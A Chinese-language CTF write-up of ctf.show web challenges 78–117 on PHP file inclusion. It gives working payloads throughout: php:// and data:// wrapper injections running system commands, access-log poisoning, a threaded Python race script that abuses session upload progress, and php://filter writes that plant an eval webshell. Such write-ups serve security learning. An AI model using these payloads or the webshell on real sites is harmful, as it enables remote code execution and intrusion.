最近和朋友一起入了ctf show的坑,在这里记录一下刷题过程以及从大佬那里学到的姿势
1
文件包含
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
一般利用一些文件包含函数或者伪协议来操作。
环境要求:
- allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
- allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
常见文件包含函数
- include()
- require()
- include_once()
- require()_once()
web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
直接构造:?file=flag.php
,没有得到想要的结果,可能是被解析了,所以利用php伪协议
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
姿势:
GET:?file=php://input
POST:<?php system("ls"); ?>
然后
POST:<?php system("cat flag.php"); ?>
php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
姿势:
?file=php://filter/convert.base64-encode/resource=flag.php
将得到的base64解码后得到flag
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这里有一个过滤,把php
替换了
姿势:
1、大小写绕过
配合php://input
2、data://伪协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
将<?php system("cat flag.php"); ?>
编码得到PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=
构造:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=
然后查看源代码得到flag
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
把data
也过滤了,同样用大小写绕过
直接构造:?file=Data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=
发现不行
1、php://input
发现很狗啊。。。文件名改了
2、日志文件包含:
日志文件包含
访问日志文件记录了服务器收到的每一次请求的
IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号无法包含其中,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。
访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
构造:?file=/var/log/nginx/access.log
,成功访问
然后在UA处插入我们的命令
base64解码后得到flag
web81
:
也被过滤了,只能用日志包含了
步骤同web80
web82
过滤的越来越多了,.
也被过滤了
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
所以构造时需要找一个路径中不包含.
的文件,这里参考群主给的提示和大佬们的wp,利用session.upload_progress进行文件包含和反序列化渗透
session.upload_progress
利用session.upload_progress写入session文件,达到文件包含的目的。
session配置(前提):
- session.upload_progress.enabled = on
upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中- session.upload_progress.cleanup = on
当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;- session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控- session.upload_progress.prefix = “upload_progress_”
prefix+name将表示为session中的键名- session.use_strict_mode=off
这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到
这里也是参考给的脚本,改出了一个通杀脚本:
import io
import requests
import threading
import re
sessid = 'flag'
url="http://8f4e7134-d115-4d71-ba02-3caf16dabd5f.chall.ctf.show/"
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.get(url + '?file=/tmp/sess_{}'.format(sessid))
if 'tgao.txt' in resp.text:
pattern = re.compile('flag{.+}')
result = pattern.findall(resp.text)
print(result)
event.clear()
else:
pass
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
web83-86
利用上题的脚本,直接一把梭
web87
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
这题的重点就是绕过file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
filter伪协议写入木马
php://filter/write=convert.base64-decode/resource=1.php
因为题目源码里面有一个urldecode()
方法,所以要进行url双编码
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
关于content里的内容也没太理解,大佬的解释是原文中“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。
对于一句话<?php eval($_POST[cmd])?>
base64编码后PD9waHAgZXZhbCgkX1BPU1RbY21kXSk/Pg==
再在开头补两个a:content=aaPD9waHAgZXZhbCgkX1BPU1RbY21kXSk/Pg==
payload:
执行cmd=system('base64 fl0g.php');
得到的内容经过base64解码得到flag
web88
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤了很多,但是并没有过滤:
hint:
发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =
把<?php system('cat fl0g.php'); ?>
base64编码后得到PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4=
根据hint得知需要把末尾的等号去掉
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
f12看到flag
web116
先下载视频,binwalk分析发现里面有一张图片,提取得到源码
看似过滤了很多,其实直接?file=flag.php
,然后再下载视频就可得到flag
web117
<?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
和web87类似,但是这里把rot13和base64过滤了,所以考虑除这两种以外的方式绕过。
参考文章:file_put_content和死亡·杂糅代码之缘
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
然后
得到flag